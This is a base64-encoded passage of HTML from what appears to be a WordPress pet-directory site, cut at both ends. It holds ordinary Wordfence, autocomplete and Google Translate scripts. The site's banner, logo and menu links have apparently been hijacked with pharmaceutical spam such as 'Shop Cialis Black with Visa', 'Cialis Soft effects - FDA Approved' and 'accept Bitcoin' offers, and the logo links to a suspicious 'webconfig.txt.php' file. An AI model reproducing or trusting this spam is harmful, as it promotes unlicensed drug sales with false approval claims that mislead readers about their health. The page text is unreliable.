ICsgTWF0aC5yYW5kb20oKTsKCQkoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2hlYWQnKVswXXx8ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2JvZHknKVswXSkuYXBwZW5kQ2hpbGQod2ZzY3IpOwoJCWZvciAodmFyIGkgPSAwOyBpIDwgZXZ0cy5sZW5ndGg7IGkrKykgewoJCQlyZW1vdmVFdmVudChldnRzW2ldLCBsb2dIdW1hbik7CgkJfQoJfTsKCWZvciAodmFyIGkgPSAwOyBpIDwgZXZ0cy5sZW5ndGg7IGkrKykgewoJCWFkZEV2ZW50KGV2dHNbaV0sIGxvZ0h1bWFuKTsKCX0KfSkoJy8vZnVucnVubmVyc2JlYWNoZXMudXMvP3dvcmRmZW5jZV9saD0xJmhpZD0zRDg1RTRDRjBCMkU0QUU1M0YyNzBCNzhBM0YwM0JDNycpOwo8L3NjcmlwdD48bGluayByZWw9Imljb24iIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3VwbG9hZHMvMjAxNi8xMi9wYXcxLTE1MHgxNTAucG5nIiBzaXplcz0iMzJ4MzIiIC8+CjxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE2LzEyL3BhdzEtMzAweDMwMC5wbmciIHNpemVzPSIxOTJ4MTkyIiAvPgo8bGluayByZWw9ImFwcGxlLXRvdWNoLWljb24tcHJlY29tcG9zZWQiIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3VwbG9hZHMvMjAxNi8xMi9wYXcxLTMwMHgzMDAucG5nIiAvPgo8bWV0YSBuYW1lPSJtc2FwcGxpY2F0aW9uLVRpbGVJbWFnZSIgY29udGVudD0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE2LzEyL3BhdzEtMzAweDMwMC5wbmciIC8+CgoJCTxzY3JpcHQ+CgkJICAnYXJ0aWNsZSBhc2lkZSBmb290ZXIgaGVhZGVyIG5hdiBzZWN0aW9uIHRpbWUnLnJlcGxhY2UoL1x3Ky9nLGZ1bmN0aW9uKG4peyBkb2N1bWVudC5jcmVhdGVFbGVtZW50KG4pIH0pCgkJPC9zY3JpcHQ+CgoJCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCQlqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCQpIHsKCgkJCXZhciBjYXRlZ29yaWVzID0gWyB7IHZhbHVlOiAiMTE0IiAsIGxhYmVsOiAiQmFycyIgfSx7IHZhbHVlOiAiNzUiICwgbGFiZWw6ICJDbHVicyIgfSx7IHZhbHVlOiAiNDIiICwgbGFiZWw6ICJDb250ZXN0IiB9LHsgdmFsdWU6ICIzMSIgLCBsYWJlbDogIkVudGVydGFpbm1lbnQiIH0seyB2YWx1ZTogIjM0IiAsIGxhYmVsOiAiRXZlbnRzIiB9LHsgdmFsdWU6ICIzMyIgLCBsYWJlbDogIkxvZGdpbmciIH0seyB2YWx1ZTogIjI5IiAsIGxhYmVsOiAiT3RoZXIgT3duZXIgT3BlcmF0ZWQiIH0seyB2YWx1ZTogIjM5IiAsIGxhYmVsOiAiUmVzdGF1cmFudHMiIH0gXTsKCgkJCXZhciBsb2NhdGlvbnMgPSBbIHsgdmFsdWU6ICIxMTMiICwgbGFiZWw6ICJDYWxpZm9ybmlhIiB9LHsgdmFsdWU6ICI3OCIgLCBsYWJlbDogIi0mbmJzcDtMb3MgQW5nZWxlcyIgfSx7IHZhbHVlOiAiMTA5IiAsIGxhYmVsOiAiQ29sb3JhZG8iIH0seyB2YWx1ZTogIjk3IiAsIGxhYmVsOiAiLSZuYnNwO0RlbnZlciIgfSx7IHZhbHVlOiAiMTAzIiAsIGxhYmVsOiAiQ29ubmVjdGljdXQiIH0seyB2YWx1ZTogIjEwNCIgLCBsYWJlbDogIi0mbmJzcDtIYXJ0Zm9yZCIgfSx7IHZhbHVlOiAiMTA2IiAsIGxhYmVsOiAiSWxsaW5vaXMiIH0seyB2YWx1ZTogIjc5IiAsIGxhYmVsOiAiLSZuYnNwO0NoaWNhZ28iIH0seyB2YWx1ZTogIjEwNSIgLCBsYWJlbDogIk1hc3NhY2h1c2V0dHMiIH0seyB2YWx1ZTogIjEwMCIgLCBsYWJlbDogIi0mbmJzcDtCb3N0b24iIH0seyB2YWx1ZTogIjExMCIgLCBsYWJlbDogIk1pY2hpZ2FuIiB9LHsgdmFsdWU6ICI5NCIgLCBsYWJlbDogIi0mbmJzcDtEZXRyb2l0IiB9LHsgdmFsdWU6ICIxMTIiICwgbGFiZWw6ICJOZXZhZGEiIH0seyB2YWx1ZTogIjEwMiIgLCBsYWJlbDogIi0mbmJzcDtMYXMgVmVnYXMiIH0seyB2YWx1ZTogIjEwNyIgLCBsYWJlbDogIk5ldyBZb3JrIiB9LHsgdmFsdWU6ICI0NiIgLCBsYWJlbDogIi0mbmJzcDtOZXcgWW9yayBDaXR5IiB9LHsgdmFsdWU6ICIxMDgiICwgbGFiZWw6ICJUZXhhcyIgfSx7IHZhbHVlOiAiODUiICwgbGFiZWw6ICItJm5ic3A7RGFsbGFzIiB9LHsgdmFsdWU6ICIxMTEiICwgbGFiZWw6ICJXYXNoaW5ndG9uIiB9LHsgdmFsdWU6ICI5NiIgLCBsYWJlbDogIi0mbmJzcDtTZWF0dGxlIiB9IF07CgoJCQl2YXIgY2F0SW5wdXQgPSAkKCAiI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeSIgKSwKCQkJCWNhdElucHV0SUQgPSAkKCAiI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeS1pZCIgKSwKCQkJCWxvY0lucHV0ID0gJCggIiNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24iICksCgkJCQlsb2NJbnB1dElEID0gJCggIiNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24taWQiICk7CgoJCQljYXRJbnB1dC5hdXRvY29tcGxldGUoewoJCQkJbWluTGVuZ3RoOiAwLAoJCQkJc291cmNlOiBjYXRlZ29yaWVzLAoJCQkJZm9jdXM6IGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJCQkJdmFyIHZhbCA9IHVpLml0ZW0ubGFiZWwucmVwbGFjZSgvJmFtcDsvZywgIiYiKTsKCQkJCQkJdmFsID0gdmFsLnJlcGxhY2UoLyZuYnNwOy9nLCAiICIpLnJlcGxhY2UoLyYjMDM5Oy9nLCAiJyIpOwoJCQkJCWNhdElucHV0LnZhbCggdmFsICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfSwKCQkJCXNlbGVjdDogZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQkJCQl2YXIgdmFsID0gdWkuaXRlbS5sYWJlbC5yZXBsYWNlKC8mYW1wOy9nLCAiJiIpOwoJCQkJCQl2YWwgPSB2YWwucmVwbGFjZSgvJm5ic3A7L2csICIgIikucmVwbGFjZSgvJiMwMzk7L2csICInIik7CgkJCQkJY2F0SW5wdXQudmFsKCB2YWwgKTsKCQkJCQljYXRJbnB1dElELnZhbCggdWkuaXRlbS52YWx1ZSApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0KCQkJfSkuZGF0YSggInVpLWF1dG9jb21wbGV0ZSIgKS5fcmVuZGVySXRlbSA9IGZ1bmN0aW9uKCB1bCwgaXRlbSApIHsKCQkJCXJldHVybiAkKCAiPGxpPiIgKQoJCQkJCS5kYXRhKCAiaXRlbS5hdXRvY29tcGxldGUiLCBpdGVtICkKCQkJCQkuYXBwZW5kKCAiPGE+IiArIGl0ZW0ubGFiZWwgKyAiPC9hPiIgKQoJCQkJCS5hcHBlbmRUbyggdWwgKTsKCQkJfTsKCQkJdmFyIGNhdExpc3QgPSBjYXRJbnB1dC5hdXRvY29tcGxldGUoICJ3aWRnZXQiICk7CgkJCWNhdExpc3QubmljZVNjcm9sbCh7IGF1dG9oaWRlbW9kZTogZmFsc2UgfSk7CgoJCQljYXRJbnB1dC5jbGljayhmdW5jdGlvbigpewoJCQkJY2F0SW5wdXQudmFsKCcnKTsKCQkJCWNhdElucHV0SUQudmFsKCcwJyk7CgkJCQljYXRJbnB1dC5hdXRvY29tcGxldGUoICJzZWFyY2giLCAiIiApOwoJCQl9KTsKCgkJCWxvY0lucHV0LmF1dG9jb21wbGV0ZSh7CgkJCQltaW5MZW5ndGg6IDAsCgkJCQlzb3VyY2U6IGxvY2F0aW9ucywKCQkJCWZvY3VzOiBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCQkJCXZhciB2YWwgPSB1aS5pdGVtLmxhYmVsLnJlcGxhY2UoLyZhbXA7L2csICImIik7CgkJCQkJCXZhbCA9IHZhbC5yZXBsYWNlKC8mbmJzcDsvZywgIiAiKS5yZXBsYWNlKC8mIzAzOTsvZywgIiciKTsKCQkJCQlsb2NJbnB1dC52YWwoIHZhbCApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0sCgkJCQlzZWxlY3Q6IGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJCQkJdmFyIHZhbCA9IHVpLml0ZW0ubGFiZWwucmVwbGFjZSgvJmFtcDsvZywgIiYiKTsKCQkJCQkJdmFsID0gdmFsLnJlcGxhY2UoLyZuYnNwOy9nLCAiICIpLnJlcGxhY2UoLyYjMDM5Oy9nLCAiJyIpOwoJCQkJCWxvY0lucHV0LnZhbCggdmFsICk7CgkJCQkJbG9jSW5wdXRJRC52YWwoIHVpLml0ZW0udmFsdWUgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCX0pLmRhdGEoICJ1aS1hdXRvY29tcGxldGUiICkuX3JlbmRlckl0ZW0gPSBmdW5jdGlvbiggdWwsIGl0ZW0gKSB7CgkJCQlyZXR1cm4gJCggIjxsaT4iICkKCQkJCQkuZGF0YSggIml0ZW0uYXV0b2NvbXBsZXRlIiwgaXRlbSApCgkJCQkJLmFwcGVuZCggIjxhPiIgKyBpdGVtLmxhYmVsICsgIjwvYT4iICkKCQkJCQkuYXBwZW5kVG8oIHVsICk7CgkJCX07CgkJCXZhciBsb2NMaXN0ID0gbG9jSW5wdXQuYXV0b2NvbXBsZXRlKCAid2lkZ2V0IiApOwoJCQlsb2NMaXN0Lm5pY2VTY3JvbGwoeyBhdXRvaGlkZW1vZGU6IGZhbHNlIH0pOwoKCQkJbG9jSW5wdXQuY2xpY2soZnVuY3Rpb24oKXsKCQkJCWxvY0lucHV0LnZhbCgnJyk7CgkJCQlsb2NJbnB1dElELnZhbCgnMCcpOwoJCQkJbG9jSW5wdXQuYXV0b2NvbXBsZXRlKCAic2VhcmNoIiwgIiIgKTsKCQkJfSk7CgoKCgkJfSk7CgkJPC9zY3JpcHQ+CgoJPC9oZWFkPgoKCTxib2R5IGNsYXNzPSJwYWdlLWlkLTIyMDUwNCI+CgoJCTxkaXYgaWQ9InBhZ2UiIGNsYXNzPSJoZmVlZCAgbmFycm93IiA+CgoKCjxkaXYgaWQ9ImFkdmVydGlzaW5nLWJveC0xIiBjbGFzcz0iYWR2ZXJ0aXNpbmctYm94Ij4KCTxkaXYgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGggY2xlYXJmaXgiPgoJCTxkaXY+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLyU1QyUyMmh0dHA6JTVDLyU1Qy9mdW5ydW5uZXJzYmVhY2hlcy51cyU1Qy8/cD04Mjg0JTVDIj5PcmRlciBWaWFncmEgVmlnb3VyIGluIFdhbGVzIENhcmRpZmY8L2E+PC9kaXY+CgkgPC9kaXY+CjwvZGl2PgoKPGRpdiBjbGFzcz0idG9wYmFyIGNsZWFyZml4Ij4KPC9kaXY+Cgo8aGVhZGVyIGlkPSJicmFuZGluZyIgcm9sZT0iYmFubmVyIj4KCTxkaXYgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGggY2xlYXJmaXgiPgoJCTxkaXYgaWQ9ImxvZ28iIGNsYXNzPSJsZWZ0Ij4KCQkJCTxhIGhyZWY9Imh0dHBzOi8vZnVucnVubmVyc2JlYWNoZXMudXMvL3dlYmNvbmZpZy50eHQucGhwIj5PcmRlciBMZXZpdHJhIFN1cGVyIEFjdGl2ZSBpbiBCZWxnaXVtIEJydXNzZWxzPC9hPgoJCTwvZGl2PgoKCQk8bmF2IGlkPSJhY2Nlc3MiIHJvbGU9Im5hdmlnYXRpb24iPgoKCQkJCQo8bmF2IGNsYXNzPSJtYWlubWVudSI+PHVsIGlkPSJtZW51LW1haW4tbWVudSIgY2xhc3M9Im1lbnUiPjxsaSBpZD0ibWVudS1pdGVtLTgyMTEiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0taG9tZSBjdXJyZW50LW1lbnUtaXRlbSBwYWdlX2l0ZW0gcGFnZS1pdGVtLTcgY3VycmVudF9wYWdlX2l0ZW0gbWVudS1pdGVtLTgyMTEiPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWNhdGVnb3J5PXBldC1kYXljYXJlIj5BY3F1aXJlIExldml0cmEgSmVsbHkgb25saW5lIGNoZWFwPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyNDQiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODI0NCI+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9haXQtZGlyLWl0ZW0tY2F0ZWdvcnk9a2VubmVscyI+U2hvcCBDaWFsaXMgQmxhY2sgd2l0aCBWaXNhPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyMzQiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODIzNCI+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9haXQtZGlyLWl0ZW0tY2F0ZWdvcnk9cGV0LXNpdHRlcnMiPkNpYWxpcyBTb2Z0IGVmZmVjdHMgLSBGREEgQXBwcm92ZWQ8L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODIxMiIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjEyIj48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1jYXRlZ29yeT1wZXQtZ3Jvb21lcnMiPkJ1eSBWaWFncmEgUHJvZmVzc2lvbmFsIGluIE1vcm9jY28gUmFiYXQ8L2E+PC9saT4KPGxpIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLWd0cmFuc2xhdGUiPjxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyIgaWQ9Imd0cmFuc2xhdGVfd3JhcHBlciI+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ci5zd2l0Y2hlciB7Zm9udC1mYW1pbHk6QXJpYWw7Zm9udC1zaXplOjEwcHQ7dGV4dC1hbGlnbjpsZWZ0O2N1cnNvcjpwb2ludGVyO292ZXJmbG93OmhpZGRlbjt3aWR0aDoxNjNweDtsaW5lLWhlaWdodDoxN3B4O30KLnN3aXRjaGVyIGEge3RleHQtZGVjb3JhdGlvbjpub25lO2Rpc3BsYXk6YmxvY2s7Zm9udC1zaXplOjEwcHQ7LXdlYmtpdC1ib3gtc2l6aW5nOmNvbnRlbnQtYm94Oy1tb3otYm94LXNpemluZzpjb250ZW50LWJveDtib3gtc2l6aW5nOmNvbnRlbnQtYm94O30KLnN3aXRjaGVyIGEgaW1nIHt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7ZGlzcGxheTppbmxpbmU7Ym9yZGVyOjA7cGFkZGluZzowO21hcmdpbjowO29wYWNpdHk6MC44O30KLnN3aXRjaGVyIGE6aG92ZXIgaW1nIHtvcGFjaXR5OjE7fQouc3dpdGNoZXIgLnNlbGVjdGVkIHtiYWNrZ3JvdW5kOiNGRkZGRkYgdXJsKGh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9zd2l0Y2hlci5wbmcpIHJlcGVhdC14O3Bvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6OTk5OTt9Ci5zd2l0Y2hlciAuc2VsZWN0ZWQgYSB7Ym9yZGVyOjFweCBzb2xpZCAjQ0NDQ0NDO2JhY2tncm91bmQ6dXJsKGh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9hcnJvd19kb3duLnBuZykgMTQ2cHggY2VudGVyIG5vLXJlcGVhdDtjb2xvcjojNjY2NjY2O3BhZGRpbmc6M3B4IDVweDt3aWR0aDoxNTFweDt9Ci5zd2l0Y2hlciAuc2VsZWN0ZWQgYS5vcGVuIHtiYWNrZ3JvdW5kLWltYWdlOnVybChodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvYXJyb3dfdXAucG5nKX0KLnN3aXRjaGVyIC5zZWxlY3RlZCBhOmhvdmVyIHtiYWNrZ3JvdW5kOiNGMEYwRjAgdXJsKGh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9hcnJvd19kb3duLnBuZykgMTQ2cHggY2VudGVyIG5vLXJlcGVhdDt9Ci5zd2l0Y2hlciAub3B0aW9uIHtwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4Ojk5OTg7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICNDQ0NDQ0M7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjQ0NDQ0NDO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNDQ0NDQ0M7YmFja2dyb3VuZC1jb2xvcjojRUVFRUVFO2Rpc3BsYXk6bm9uZTt3aWR0aDoxNjFweDttYXgtaGVpZ2h0OjE5OHB4Oy13ZWJraXQtYm94LXNpemluZzpjb250ZW50LWJveDstbW96LWJveC1zaXppbmc6Y29udGVudC1ib3g7Ym94LXNpemluZzpjb250ZW50LWJveDtvdmVyZmxvdy15OmF1dG87b3ZlcmZsb3cteDpoaWRkZW47fQouc3dpdGNoZXIgLm9wdGlvbiBhIHtjb2xvcjojMDAwO3BhZGRpbmc6M3B4IDVweDt9Ci5zd2l0Y2hlciAub3B0aW9uIGE6aG92ZXIge2JhY2tncm91bmQ6I0ZGQzt9Ci5zd2l0Y2hlciAub3B0aW9uIGEuc2VsZWN0ZWQge2JhY2tncm91bmQ6I0ZGQzt9CiNzZWxlY3RlZF9sYW5nX25hbWUge2Zsb2F0OiBub25lO30KLmxfbmFtZSB7ZmxvYXQ6IG5vbmUgIWltcG9ydGFudDttYXJnaW46IDA7fQouc3dpdGNoZXIgLm9wdGlvbjo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2t7LXdlYmtpdC1ib3gtc2hhZG93Omluc2V0IDAgMCAzcHggcmdiYSgwLDAsMCwwLjMpO2JvcmRlci1yYWRpdXM6NXB4O2JhY2tncm91bmQtY29sb3I6I0Y1RjVGNTt9Ci5zd2l0Y2hlciAub3B0aW9uOjotd2Via2l0LXNjcm9sbGJhciB7d2lkdGg6NXB4O30KLnN3aXRjaGVyIC5vcHRpb246Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHtib3JkZXItcmFkaXVzOjVweDstd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMCAzcHggcmdiYSgwLDAsMCwuMyk7YmFja2dyb3VuZC1jb2xvcjojODg4O30KPC9zdHlsZT4KPGRpdiBjbGFzcz0ic3dpdGNoZXIgbm90cmFuc2xhdGUiPgo8ZGl2IGNsYXNzPSJzZWxlY3RlZCI+CjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWNhdGVnb3J5PXBldC1ob3NwaXRhbHMiPkNoZWFwIExldml0cmEgUHJvZmVzc2lvbmFsIHdpdGggTWFzdGVyQ2FyZDwvYT4KPC9kaXY+CjxkaXYgY2xhc3M9Im9wdGlvbiI+CjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWxvY2F0aW9uPW1hc3NhY2h1c2V0dHMiPk9yZGVyIEthbWFncmEgaW4gU3VkYW4gS2hhcnRvdW08L2E+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9wYWdlX2lkPTgwNjkiPkJ1eSBCcmFuZCBMZXZpdHJhIGNoZWFwPC9hPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWNhdGVnb3J5PXBldC1zaXR0ZXJzLTIiPldobyBvd25zIHZpYWdyYTwvYT48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1sb2NhdGlvbj1uZXZhZGEiPlNob3AgQ2lhbGlzIFN1cGVyIEFjdGl2ZSBpbiBOZXBhbCBLYXRobWFuZHU8L2E+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9wPTgyODQiPlB1cmNoYXNlIENpYWxpcyBKZWxseSAtIGFjY2VwdCBCaXRjb2luPC9hPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWxvY2F0aW9uPWNvbG9yYWRvIj5PcmRlciBTdXBlciBDaWFsaXMgaW4gRWwgU2FsdmFkb3IgU2FuIFNhbHZhZG9yPC9hPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/cGFnZV9pZD00MTc3Ij5PYnRhaW4gVmlhZ3JhIEV4dHJhIERvc2FnZSAtIGFjY2VwdCBCaXRjb2luPC9hPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWNhdGVnb3J5PXBldC1ibG9ncyI+U2hvcCBTdXBlciBDaWFsaXMgaW4gU2FpbnQgVmluY2VudCBhbmQgdGhlIEdyZW5hZGluZXMgS2luZ3N0b3duPC9hPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvR1RyYW5zbGF0ZSgnZW58cnUnKTtqUXVlcnkoJ2Rpdi5zd2l0Y2hlciBkaXYuc2VsZWN0ZWQgYScpLmh0bWwoalF1ZXJ5KHRoaXMpLmh0bWwoKSk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IlJ1c3NpYW4iIGNsYXNzPSJudHVybCI+PGltZyBzcmM9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9mbGFncy8xNi9ydS5wbmciIGhlaWdodD0iMTYiIHdpZHRoPSIxNiIgYWx0PSJydSIgLz4gUnVzc2lhbjwvYT48YSBocmVmPSIjIiBvbmNsaWNrPSJkb0dUcmFuc2xhdGUoJ2VufGVzJyk7alF1ZXJ5KCdkaXYuc3dpdGNoZXIgZGl2LnNlbGVjdGVkIGEnKS5odG1sKGpRdWVyeSh0aGlzKS5odG1sKCkpO3JldHVybiBmYWxzZTsiIHRpdGxlPSJTcGFuaXNoIiBjbGFzcz0ibnR1cmwiPjxpbWcgc3JjPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvZmxhZ3MvMTYvZXMucG5nIiBoZWlnaHQ9IjE2IiB3aWR0aD0iMTYiIGFsdD0iZXMiIC8+IFNwYW5pc2g8L2E+PC9kaXY+CjwvZGl2Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmpRdWVyeSgnLnN3aXRjaGVyIC5zZWxlY3RlZCcpLmNsaWNrKGZ1bmN0aW9uKCkge2lmKCEoalF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpLmlzKCc6dmlzaWJsZScpKSkge2pRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5zdG9wKHRydWUsdHJ1ZSkuZGVsYXkoMTAwKS5zbGlkZURvd24oNTAwKTtqUXVlcnkoJy5zd2l0Y2hlciAuc2VsZWN0ZWQgYScpLnRvZ2dsZUNsYXNzKCdvcGVuJyl9fSk7CmpRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5iaW5kKCdtb3VzZXdoZWVsJywgZnVuY3Rpb24oZSkge3ZhciBvcHRpb25zID0galF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpO2lmKG9wdGlvbnMuaXMoJzp2aXNpYmxlJykpb3B0aW9ucy5zY3JvbGxUb3Aob3B0aW9ucy5zY3JvbGxUb3AoKSAtIGUub3JpZ2luYWxFdmVudC53aGVlbERlbHRhKTtyZXR1cm4gZmFsc2U7fSk7CmpRdWVyeSgnYm9keScpLm5vdCgnLnN3aXRjaGVyJykuY2xpY2soZnVuY3Rpb24oZSkge2lmKGpRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5pcygnOnZpc2libGUnKSAmJiBlLnRhcmdldCAhPSBqUXVlcnkoJy5zd2l0Y2hlciAub3B0aW9uJykuZ2V0KDApKSB7alF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpLnN0b3AodHJ1ZSx0cnVlKS5kZWxheSgxMDApLnNsaWRlVXAoNTAwKTtqUXVlcnkoJy5zd2l0Y2hlciAuc2VsZWN0ZWQgYScpLnRvZ2dsZUNsYXNzKCdvcGVuJyl9fSk7Cjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgojZ29vZy1ndC10dCB7ZGlzcGxheTpub25lICFpbXBvcnRhbnQ7fQouZ29vZy10ZS1iYW5uZXItZnJhbWUge2Rpc3BsYXk6bm9uZSAhaW1wb3J0YW50O30KLmdvb2ctdGUtbWVudS12YWx1ZTpob3ZlciB7dGV4dC1kZWNvcmF0aW9uOm5vbmUgIWltcG9ydGFudDt9Ci5nb29nLXRleHQtaGlnaGxpZ2h0IHtiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50ICFpbXBvcnRhbnQ7Ym94LXNoYWRvdzpub25lICFpbXBvcnRhbnQ7fQpib2R5IHt0b3A6MCAhaW1wb3J0YW50O30KI2dvb2dsZV90cmFuc2xhdGVfZWxlbWVudDIge2Rpc3BsYXk6bm9uZSFpbXBvcnRhbnQ7fQo8L3N0eWxlPgoKPGRpdiBpZD0iZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MiI+PC9kaXY+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gZ29vZ2xlVHJhbnNsYXRlRWxlbWVudEluaXQyKCkge25ldyBnb29nbGUudHJhbnNsYXRlLlRyYW5zbGF0ZUVsZW1lbnQoe3BhZ2VMYW5ndWFnZTogJ2VuJyxhdXRvRGlzcGxheTogZmFsc2V9LCAnZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MicpO30KPC9zY3JpcHQ+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iLy90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGVfYS9lbGVtZW50LmpzP2NiPWdvb2dsZVRyYW5zbGF0ZUVsZW1lbnRJbml0MiI+PC9zY3JpcHQ+CgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBHVHJhbnNsYXRlR2V0Q3VycmVudExhbmcoKSB7dmFyIGtleVZhbHVlID0gZG9jdW1lbnRbJ2Nvb2tpZSddLm1hdGNoKCcoXnw7KSA/Z29vZ3RyYW5zPShbXjtdKikoO3wkKScpO3JldHVybiBrZXlWYWx1ZSA/IGtleVZhbHVlWzJdLnNwbGl0KCcvJylbMl0gOiBudWxsO30KZnVuY3Rpb24gR1RyYW5zbGF0ZUZpcmVFdmVudChlbGVtZW50LGV2ZW50KXt0cnl7aWYoZG9jdW1lbnQuY3JlYXRlRXZlbnRPYmplY3Qpe3ZhciBldnQ9ZG9jdW1lbnQuY3JlYXRlRXZlbnRPYmplY3QoKTtlbGVtZW50LmZpcmVFdmVudCgnb24nK2V2ZW50LGV2dCl9ZWxzZXt2YXIgZXZ0PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCdIVE1MRXZlbnRzJyk7ZXZ0LmluaXRFdmVudChldmVudCx0cnV